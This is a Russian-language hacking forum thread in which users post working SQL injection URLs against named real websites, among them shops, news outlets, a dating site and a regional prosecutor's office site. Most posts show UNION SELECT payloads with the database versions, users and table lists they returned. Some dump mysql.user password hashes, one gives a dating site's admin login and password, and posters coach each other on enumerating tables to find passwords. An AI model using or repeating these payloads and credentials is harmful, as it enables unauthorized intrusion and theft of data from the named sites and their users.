SQL Инъекции

Code:

http://vtorgrad.ru/tovar.php?id=495&tid=80203+union+select+1,2,3,4,5,6,7,8,9,10,11,12,version(),14,15,16,17,18,19,20,21,22,23,24,25/*

5.0.32-Debian_7etch5
тиц: 30 пр: 4

Code:

http://www.cifracenter.ru/tovar.php?ID=7439+union+select+1,2,3,4,5,6,7,8,9,10,11--

5.0.67-log

Code:

http://www.rp.delo.ua/tovar.php?id=5179+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34/*

5.0.45-community
тиц: 30 пр: 4

Code:

http://www.mirbatareek.ru/tovar.php?ID=156+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13--

5.0.67-log
тиц: 20 пр: 4

Code:

http://www.coolerok.ru/tovar.php?tovar=9602'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*

пр: 3

Code:

http://www.ventasport.ru/tovar.php?id=11+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

тиц: 40 пр: 4

Code:

http://telax.ru/tovar.php?ID=300+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13--

5.0.67-log
тиц: 10 пр: 2

 

Trading Company​

www.advicetrade.com

5.0.60-log::advicetrade::advicetrade@localhost

Есть много интересного (сс тоже присутствуют))
Дампьте сами, версия пятая.

Свежак!

С наступающим!​

 

_http://www.remsoft.com/news.php?id=-22+union+select+version()--

4.1.22-community-nt-log

--------

_http://www.spencerclarke.com/oc_newsitem.php?id=-32+union+select+1,2,3,4,5--

--------

_http://www.optometry.co.uk/newsview.php?id=-22+union+select+1,version(),3,4,5,6,7,8,9,10--

5.0.51a-community-log

--------

_http://www.widescreenreview.com/blog_detail.php?id=-23+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

4.1.22-standard

 

Code:

http://www.sottera.ru/tovar.php?ID=14801+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--

5.0.67-log

Code:

http://www.audiohome.ru/tovar.php?id=129+union+select+1,2,3,4,5,6,7,8,9,10,11/*

Code:

http://www.osheyniki.ru/tovar.php?id=64+union+select+version(),2,3,4,5/*

4.1.22-standard
тиц: 10

Code:

http://www.mksm-kmz.ru/tovar.php?id=-10'+union+select+1,2,3,4,5,6--

тиц: 50 пр: 4

Code:

http://www.stanko-nct.ru/tovar.php?id=-152+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13/*

4.1.22-log
тиц: 30 пр: 4

 

http://www.planepictures.net/netshow.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9,10--
4.0.21-Max
http://www.planepictures.net/netshow.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),user,password),5,6,7,8,9,10+from+mysql.user--
http://www.infocompanies.com/company.php?id=-1+union+select+1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables--

 

Version: 4.1.22
database:wwwspecialradior_specialradio
user: [email protected]
ТИЦ:1000
PR: 6

version: 4.1.20
database: changeyourrangebs
user:emcelwey@localhost

PR: 2
4.1.22-standardsandbags_sand@localhostsandbags_sand

 

_http://www.pcibooks.com/book_info.php?id=-33+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--

4.1.22-log

----------

_http://www.rightwingnews.com/author.php?id=-33+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,version(),18,19,20,21,22,23,24,25,26,27--

5.0.67-community

-----------

_http://www.tasouganda.org/newsdetail.php?id=-33+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--

4.0.24_Debian-10ubuntu2.3-log

-----------

_http://www.artstatements.com/artist_dtl.php?id=-33+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

5.0.67-msl-icd1-log

-----------

_http://www.michaelpollan.com/article.php?id=-33+union+select+1,2,3,4,5,6,version(),8,9,10--

4.1.22-standard

 

Code:

http://www.pcibooks.com/book_info.php?id=-33+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12%20+from+mysql.user--

Code:

http://www.artstatements.com/artist_dtl.php?id=-33+union+select+1,2,3,4,5,6,7,8,concat(table_schema,0x3a,table_name,0x3a,column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+information_schema.columns+limit+1,1--

Перебираем таблици с колонками...
Остальные стало лень...(((

 

SQL-INJ:

Code:

http://[COLOR=Navy]www.devochki.com[/COLOR]/members/profile.php?pid=-327

Code:

http://www.devochki.com/members/profile.php?pid=-327+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39--

Code:

Version - [COLOR=DarkGreen]5.0.67[/COLOR]-community-log
User - devochki_dating@localhost
Database - devochki_dating

Code:

http://www.devochki.com//members/profile.php?pid=-327+union+select+1,concat(fusername,0x3a,fpassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+atadmin--

Админка

Code:

http://www.devochki.com/admin/
krasi0:123 

 

не прет сегодня на скули..

Code:

http://www.heimlichinstitute.org/page.php?id=-4+union+select+1,2,3,4/*

пр: 5

 

Это верно..

http://www.yesoudo.com/channel_detail.php?chid=-15+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9--

http://www.yesoudo.com/channel_detail.php?chid=-15+union+select+1,concat_ws(0x3a3a,user,password),3,4,5,6,7,8,9+from+mysql.user--

root::*29D1EAE62F6F4F8D245F4F03DC8D4B6FD99516C4

version:5.0.21-log
user:root@localhost
database:yesoudo

Татуировочки..

http://tatty.ru/galary/index.php?id=-41+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13/*

version:4.1.22
user:[email protected]
database:tropico_db

 

Чтото я не вьеду а где пароли:
http://www.artmos.ru/art.php?st=-4+union+select+1,table_name,3+from+information_schema.tables--

 

Это ты вывел все таблицы, которые есть в базе сайта, но не пароли!

 

Поиском ничего из этого не нашел, так что извиняете, если уже было..

trud.ru - интернет-издание

Version - 4.1.21-log
User - trudinfo@localhost
Database - trudinfo_db

Google PR: 8
Yandex тИЦ: 6900
Alexa.com: 3429

apa.az - азербайджанский новостной сайт

Version 5.0.67-community
User apaadm_user@localhost
Database apaadm_ru

Google PR: 6

www.remsoft.com - "программное обеспечение для промышленности"

Version 4.1.22-community-nt-log
User remsoft@WSH-004
Database remsoft

Google PR: 5

www.chuvprok.gov.ru - сайт Прокуратуры Чувашской области

Version 4.0.17-nt
User prokuratura@localhost
Database prokuratura

 

Да я знаю что таблици и колонки выводил но в какой таблици могут быть пороли ума не прилажу

 

нет,не все..а только первую..а всё выводятся так:
http://www.artmos.ru/art.php?st=-4+union+select+1,unhex(hex(group_concat(table_name))),3+from+information_schema.tables--
пассов тут и не должно быть по мойму..сайт ваще чо-то стрёмный..
File_priv - N
админки думаю нет..табл никаких норм нет..
p.s. учите русский язык и пишите норм.

 

Здесь 3 бд:

Code:

information_schema

Code:

avtosite_art

Code:

test

Выведим из всех бд название таблиц и колонок:

Code:

http://www.artmos.ru/art.php?st=-4+union+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3+from+information_schema.columns--

Ну а далюше уже сам их перебирай, мож чет и найдешь...

 

Code:

http://www.heimlichinstitute.org/page.php?id=-4+union+select+1,convert(concat(table_schema,0x3a,table_name,0x3a,column_name) using latin1),3,4+from+information_schema.columns+limit+1,1--

Там менще 30таблиц и больше 100 колонок...

 

Ы) У мну фтпшник есть к хостингу этого сайта =).
http://www.artmos.ru/xfile.htm

 

Таблиц: 44

Code:

 st_adruweb
 st_allavtotuning
 st_artmos
 st_avtositeinfo
 st_avtositeru
 st_bugattiinfo
 st_chryslerinfo
 st_doktoru
 st_elpages
 st_emasters
 st_euroavtomobiles
 st_evronedvizhimost
 st_evrooknapvh
 st_ferrariinfo
 st_fordinfo
 st_greatsettop
 st_kamaz
 st_kriminal
 st_lamborghiniinfo
 st_marketru
 st_med
 st_mlogo
 st_mmf
 st_mobiart
 st_mobilasoft
 st_mobileafisha
 st_mobilextreme
 st_mytehavto
 st_onliner
 st_polyfoniya
 st_prestizhnedv
 st_pro
 st_realwebsite
 st_renoclub
 st_rostdohodov
 st_rosttic
 st_scanditour
 st_style
 st_tehokna
 st_teklait
 st_tel
 st_valeh
 st_virsklad
 st_you